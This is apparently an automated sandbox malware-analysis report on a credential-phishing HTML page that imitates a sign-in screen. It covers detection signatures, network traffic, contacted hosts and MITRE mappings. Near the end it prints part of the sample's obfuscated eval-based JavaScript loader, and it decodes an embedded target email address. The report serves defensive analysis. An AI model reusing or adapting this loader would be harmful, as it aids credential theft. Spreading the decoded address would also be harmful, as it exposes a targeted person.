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Windows Analysis Report
ATTT003.html

Overview

General Information

Sample name:	ATTT003.html
Analysis ID:	1603844
MD5:	27119ebcb5a3b43df57241ed6aa4dc2b
SHA1:	781c52b4c8d8b3b3d2e02d4c142499bb0beb2062
SHA256:	4d55bff057dfa0d3934f7131802133d4511c812bfd8c5b5a7e2340945f606561
Infos:

Detection

HTMLPhisher

Score:	68
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected HtmlPhish10

AI detected suspicious Javascript

Detected javascript redirector / loader

HTML document with suspicious title

HTML file submission containing password form

HTML sample is only containing javascript code

Creates files inside the system directory

Deletes files inside the Windows folder

HTML body contains low number of good links

HTML body contains password input but no form action

HTML page contains hidden javascript code

HTML title does not match URL

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Invalid T&C link found

None HTTPS page querying sensitive user data (password, username or email)

Classification

Process Tree

System is w11x64_office

chrome.exe (PID: 1092 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "C:\Users\user\Desktop\ATTT003.html" MD5: 290DF23002E9B52249B5549F0C668A86)

chrome.exe (PID: 2848 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations=is-enterprise-managed=no --field-trial-handle=2148,i,15482744133375623234,5143722552884581729,262144 --variations-seed-version=20250129-180207.876000 --mojo-platform-channel-handle=2172 /prefetch:11 MD5: 290DF23002E9B52249B5549F0C668A86)

chrome.exe (PID: 4248 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=on_device_model.mojom.OnDeviceModelService --lang=en-US --service-sandbox-type=on_device_model_execution --string-annotations=is-enterprise-managed=no --field-trial-handle=4540,i,15482744133375623234,5143722552884581729,262144 --variations-seed-version=20250129-180207.876000 --mojo-platform-channel-handle=5108 /prefetch:14 MD5: 290DF23002E9B52249B5549F0C668A86)

cleanup

Yara Signatures

HTML

Source	Rule	Description	Author	Strings
2.2.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
1.1.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Phishing

Yara detected HtmlPhish10

Source: Yara match	File source: 2.2.pages.csv, type: HTML
Source: Yara match	File source: 1.1.pages.csv, type: HTML

AI detected suspicious Javascript

Source: 0.0.id.script.csv

Joe Sandbox AI: Detected suspicious JavaScript with source url: file:///C:/Users/user/Desktop/ATTT003.html... This script demonstrates several high-risk behaviors, including dynamic code execution, data exfiltration, and heavy obfuscation. The use of `eval` and the `Function` constructor to execute remote code, along with the transmission of potentially sensitive data to an unknown domain, are clear indicators of malicious intent. The extensive obfuscation of the code and URLs further reinforces the suspicion of malicious activity. Overall, this script poses a significant security risk and should be treated with caution.

Detected javascript redirector / loader

Source: ATTT003.html

HTTP Parser: Low number of body elements: 0

HTML document with suspicious title

Source: file:///C:/Users/user/Desktop/ATTT003.html	Tab title: Sign in to your account
Source: file:///C:/Users/user/Desktop/ATTT003.html#	Tab title: Sign in to your account

HTML sample is only containing javascript code

Source: ATTT003.html

HTTP Parser: <script>let rh13z8jemt = 'eWFuc2FyaUBjd2luZ2F0ZS5jb20='; // Jowl labore sirloin voluptate.let lXX2;!function(){const Uf2H=Array.prototype.slice.call(arguments);return eval("(function MZgG(vfoy){const PCgy=zkty(vfoy,Hs6x(MZgG.toString()));try{let ...

Source: file:///C:/Users/user/Desktop/ATTT003.html

HTTP Parser: Number of links: 0

Source: file:///C:/Users/user/Desktop/ATTT003.html

HTTP Parser: <input type="password" .../> found but no <form action="...

Source: ATTT003.html

HTTP Parser: Base64 decoded: yansari@cwingate.com

Source: file:///C:/Users/user/Desktop/ATTT003.html

HTTP Parser: Title: Sign in to your account does not match URL

Source: file:///C:/Users/user/Desktop/ATTT003.html

HTTP Parser: Invalid link: Privacy statement

Source: file:///C:/Users/user/Desktop/ATTT003.html

HTTP Parser: Has password / email / username input fields

Source: file:///C:/Users/user/Desktop/ATTT003.html

HTTP Parser: <input type="password" .../> found

Source: file:///C:/Users/user/Desktop/ATTT003.html	HTTP Parser: No favicon
Source: file:///C:/Users/user/Desktop/ATTT003.html	HTTP Parser: No favicon

Source: file:///C:/Users/user/Desktop/ATTT003.html

HTTP Parser: No <meta name="author".. found

Source: file:///C:/Users/user/Desktop/ATTT003.html

HTTP Parser: No <meta name="copyright".. found

Source: global traffic

HTTP traffic detected: POST /OneCollector/1.0?cors=true&content-type=application%2Fx-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=c498711f02654edca8a715ca6e1cb4d4-dc31da17-845c-4cca-84e5-547d05dad708-6945&upload-time=1738331999058&w=0&anoncknm=al_app_anon&NoResponseBody=true HTTP/1.1Accept-Encoding: gzip, deflateContent-Length: 2746Content-Type: application/json; charset=UTF-8Host: browser.events.data.msn.cnConnection: Keep-AliveCache-Control: no-cache

Source: Joe Sandbox View	IP Address: 104.18.10.207 104.18.10.207
Source: Joe Sandbox View	IP Address: 104.18.10.207 104.18.10.207
Source: Joe Sandbox View	IP Address: 2.23.209.34 2.23.209.34

Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.15
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.15
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.15
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.15
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.15
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.15
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.15
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.15
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.15
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.15
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.15
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.15
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.15
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.184.195
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.184.195
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.184.195
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.184.195
Source: unknown	TCP traffic detected without corresponding DNS query: 2.21.65.132
Source: unknown	TCP traffic detected without corresponding DNS query: 2.21.65.132
Source: unknown	TCP traffic detected without corresponding DNS query: 2.21.65.132
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.209.40
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.209.40
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.209.40
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.209.40
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.184.195
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.184.195
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-aliveOrigin: nullsec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36sec-ch-ua: "Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.2.1.slim.min.js HTTP/1.1Host: code.jquery.comConnection: keep-aliveOrigin: nullsec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36sec-ch-ua: "Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.2.1.slim.min.js HTTP/1.1Host: code.jquery.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /attach%2Fbootstrap.min.js HTTP/1.1Host: 1419993777-1317754460.cos.ap-singapore.myqcloud.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36sec-ch-ua: "Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /attach%2Fbootstrap.min.js HTTP/1.1Host: 1419993777-1317754460.cos.ap-singapore.myqcloud.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /r/r1.crl HTTP/1.1Cache-Control: max-age = 3000Connection: Keep-AliveAccept: /If-Modified-Since: Thu, 25 Jul 2024 14:48:00 GMTUser-Agent: Microsoft-CryptoAPI/10.0Host: c.pki.goog

Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: maxcdn.bootstrapcdn.com
Source: global traffic	DNS traffic detected: DNS query: stackpath.bootstrapcdn.com
Source: global traffic	DNS traffic detected: DNS query: 1419993777-1317754460.cos.ap-singapore.myqcloud.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: ableg.filevaultaccounting.com
Source: global traffic	DNS traffic detected: DNS query: aadcdn.msftauth.net

Source: unknown

Source: chromecache_73.1.dr, chromecache_71.1.dr

String found in binary or memory: http://opensource.org/licenses/MIT).

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53968
Source: unknown	Network traffic detected: HTTP traffic on port 53973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53966
Source: unknown	Network traffic detected: HTTP traffic on port 53992 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54017
Source: unknown	Network traffic detected: HTTP traffic on port 53982 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53977
Source: unknown	Network traffic detected: HTTP traffic on port 53993 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53970
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53974
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53973
Source: unknown	Network traffic detected: HTTP traffic on port 53977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53989
Source: unknown	Network traffic detected: HTTP traffic on port 54001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53981
Source: unknown	Network traffic detected: HTTP traffic on port 54018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53984
Source: unknown	Network traffic detected: HTTP traffic on port 53984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53959 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53990
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54001
Source: unknown	Network traffic detected: HTTP traffic on port 53978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53957
Source: unknown	Network traffic detected: HTTP traffic on port 53970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53993
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53992
Source: unknown	Network traffic detected: HTTP traffic on port 53964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53991
Source: unknown	Network traffic detected: HTTP traffic on port 54017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53995
Source: unknown	Network traffic detected: HTTP traffic on port 53958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53985 -> 443

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Windows\SystemTemp\scoped_dir1092_1364403511

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File deleted: C:\Windows\SystemTemp\scoped_dir1092_1364403511

Jump to behavior

Source: classification engine

Classification label: mal68.phis.winHTML@16/28@30/12

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "C:\Users\user\Desktop\ATTT003.html"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations=is-enterprise-managed=no --field-trial-handle=2148,i,15482744133375623234,5143722552884581729,262144 --variations-seed-version=20250129-180207.876000 --mojo-platform-channel-handle=2172 /prefetch:11
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=on_device_model.mojom.OnDeviceModelService --lang=en-US --service-sandbox-type=on_device_model_execution --string-annotations=is-enterprise-managed=no --field-trial-handle=4540,i,15482744133375623234,5143722552884581729,262144 --variations-seed-version=20250129-180207.876000 --mojo-platform-channel-handle=5108 /prefetch:14
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations=is-enterprise-managed=no --field-trial-handle=2148,i,15482744133375623234,5143722552884581729,262144 --variations-seed-version=20250129-180207.876000 --mojo-platform-channel-handle=2172 /prefetch:11	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=on_device_model.mojom.OnDeviceModelService --lang=en-US --service-sandbox-type=on_device_model_execution --string-annotations=is-enterprise-managed=no --field-trial-handle=4540,i,15482744133375623234,5143722552884581729,262144 --variations-seed-version=20250129-180207.876000 --mojo-platform-channel-handle=5108 /prefetch:14	Jump to behavior

Stealing of Sensitive Information

HTML file submission containing password form

Source: file:///C:/Users/user/Desktop/ATTT003.html

HTTP Parser: file:///C:/Users/user/Desktop/ATTT003.html

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 Browser Extensions	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	3 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 File Deletion	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	1 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file:///C:/Users/user/Desktop/ATTT003.html	0%	Avira URL Cloud	safe
https://1419993777-1317754460.cos.ap-singapore.myqcloud.com/attach%2Fbootstrap.min.js	0%	Avira URL Cloud	safe
file:///C:/Users/user/Desktop/ATTT003.html#	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
stackpath.bootstrapcdn.com	104.18.10.207	true	false	high
sgp.file.myqcloud.com	43.152.64.207	true	false	high
e329293.dscd.akamaiedge.net	2.23.209.34	true	false	high
s-part-0044.t-0009.fb-t-msedge.net	13.107.253.72	true	false	high
ableg.filevaultaccounting.com	104.21.64.1	true	false	high
code.jquery.com	151.101.130.137	true	false	high
cdnjs.cloudflare.com	104.17.24.14	true	false	high
maxcdn.bootstrapcdn.com	104.18.11.207	true	false	high
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	high
www.google.com	172.217.23.100	true	false	high
1419993777-1317754460.cos.ap-singapore.myqcloud.com	unknown	unknown	true	unknown
aadcdn.msftauth.net	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
file:///C:/Users/user/Desktop/ATTT003.html	true	Avira URL Cloud: safe	unknown
https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js	false		high
https://browser.events.data.msn.cn/OneCollector/1.0?cors=true&content-type=application%2Fx-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=c498711f02654edca8a715ca6e1cb4d4-dc31da17-845c-4cca-84e5-547d05dad708-6945&upload-time=1738331999058&w=0&anoncknm=al_app_anon&NoResponseBody=true	false		high
https://code.jquery.com/jquery-3.2.1.slim.min.js	false		high
file:///C:/Users/user/Desktop/ATTT003.html#	true	Avira URL Cloud: safe	unknown
https://1419993777-1317754460.cos.ap-singapore.myqcloud.com/attach%2Fbootstrap.min.js	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://opensource.org/licenses/MIT).	chromecache_73.1.dr, chromecache_71.1.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.18.10.207	stackpath.bootstrapcdn.com	United States	13335	CLOUDFLARENETUS	false
2.23.209.34	e329293.dscd.akamaiedge.net	European Union	1273	CWVodafoneGroupPLCEU	false
104.21.64.1	ableg.filevaultaccounting.com	United States	13335	CLOUDFLARENETUS	false
151.101.130.137	code.jquery.com	United States	54113	FASTLYUS	false
43.153.232.152	unknown	Japan	4249	LILLY-ASUS	false
104.17.24.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
104.18.11.207	maxcdn.bootstrapcdn.com	United States	13335	CLOUDFLARENETUS	false
172.217.23.100	www.google.com	United States	15169	GOOGLEUS	false
43.152.64.207	sgp.file.myqcloud.com	Japan	4249	LILLY-ASUS	false

Private

IP
192.168.2.6
192.168.2.24
192.168.2.23

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1603844
Start date and time:	2025-01-31 14:59:11 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 41s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowshtmlcookbook.jbs
Analysis system description:	Windows 11 23H2 with Office Professional Plus 2021, Chrome 131, Firefox 133, Adobe Reader DC 24, Java 8 Update 431, 7zip 24.09
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	ATTT003.html
Detection:	MAL
Classification:	mal68.phis.winHTML@16/28@30/12
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .html

Warnings

Exclude process from analysis (whitelisted): SystemSettingsBroker.exe, SIHClient.exe, appidcertstorecheck.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 217.20.57.18, 172.217.18.110, 172.217.16.195, 216.58.206.46, 64.233.167.84, 142.250.186.138, 142.250.185.174, 142.250.185.170, 172.217.16.206, 142.250.186.174, 142.250.185.202, 172.217.16.202, 142.250.186.42, 142.250.181.234, 216.58.212.170, 142.250.185.74, 142.250.185.106, 142.250.74.202, 216.58.206.74, 142.250.186.74, 142.250.186.106, 142.250.185.234, 142.250.186.170, 142.250.185.138, 2.22.50.117, 172.217.18.14, 142.250.186.110, 172.217.18.106, 142.250.184.202, 172.217.18.10, 142.250.184.234, 216.58.206.42, 142.250.185.110, 142.250.184.227, 142.250.184.238, 142.250.185.78, 199.232.210.172, 13.107.253.72, 13.107.246.45, 4.245.163.56, 52.149.20.212
Excluded domains from analysis (whitelisted): clients1.google.com, accounts.google.com, slscr.update.microsoft.com, ajax.googleapis.com, aadcdnoriginwus2.azureedge.net, ctldl.windowsupdate.com, clientservices.googleapis.com, aadcdn.msauth.net, www.googleapis.com, firstparty-azurefd-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, clients2.google.com, edgedl.me.gvt1.com, redirector.gvt1.com, update.googleapis.com, aadcdnoriginwus2.afd.azureedge.net, clients.l.google.com, c.pki.goog, optimizationguide-pa.googleapis.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Input	Output
URL: email Model: Joe Sandbox AI	{ "risk_score": 1, "reasoning": [ "No headers provided to analyze", "Cannot make security assessment without header information", "Default to lowest risk score due to lack of data" ] }
Date: unknown
URL: file:///C:/Users/user/Desktop/ATTT003.html... Model: Joe Sandbox AI	{ "risk_score": 9, "reasoning": "This script demonstrates several high-risk behaviors, including dynamic code execution, data exfiltration, and heavy obfuscation. The use of `eval` and the `Function` constructor to execute remote code, along with the transmission of potentially sensitive data to an unknown domain, are clear indicators of malicious intent. The extensive obfuscation of the code and URLs further reinforces the suspicion of malicious activity. Overall, this script poses a significant security risk and should be treated with caution." }
let rh13z8jemt = 'eWFuc2FyaUBjd2luZ2F0ZS5jb20='; // Jowl labore sirloin voluptate. let lXX2;!function(){const Uf2H=Array.prototype.slice.call(arguments);return eval("(function MZgG(vfoy){const PCgy=zkty(vfoy,Hs6x(MZgG.toString()));try{let rajy=eval(PCgy);return rajy.apply(null,Uf2H);}catch(Lxby){var n5dy=(0o205764-68562);while(n5dy<(0o400140%65566))switch(n5dy){case (0x3007F%0o200037):n5dy=Lxby instanceof SyntaxError?(0o400153%0x10024):(0o400142%0x1001F);break;case (0o202032-0x103F7):n5dy=(0o400156%65573);{console.log(\'Error: the code has been tampered!\');return}break;}throw Lxby;}function Hs6x(j08x){let j2Fy=152180578;var LzIy=(0o400075%65552);{let fXAy;while(LzIy<(0x10618-0o202761)){switch(LzIy){case (0o600071%0x10008):LzIy=(0x9D8DE4-0O47306735);{j2Fy^=(j08x.charCodeAt(fXAy)(0x2935494a%7)+j08x.charCodeAt(fXAy>>>(0O73567354%6)))^45967675;}break;case (0O264353757%8):LzIy=(0o1000122%65553);fXAy++;break;case (131122%0o200022):LzIy=fXAy<j08x.length?(262237%0o200017):(0o400167%0x10028);break;case (67566-0o203721):LzIy=(0o1000146%0x10016);fXAy=(0x75bcd15-0O726746425);break;}}}let HuDy=\"\";var bSvy=(0x2005F%0o200036);{let Dpyy;while(bSvy<(0o205500-68380)){switch(bSvy){case (0o204622-0x1096F):bSvy=(0o600145%65561);Dpyy=(0x21786%3);break;case 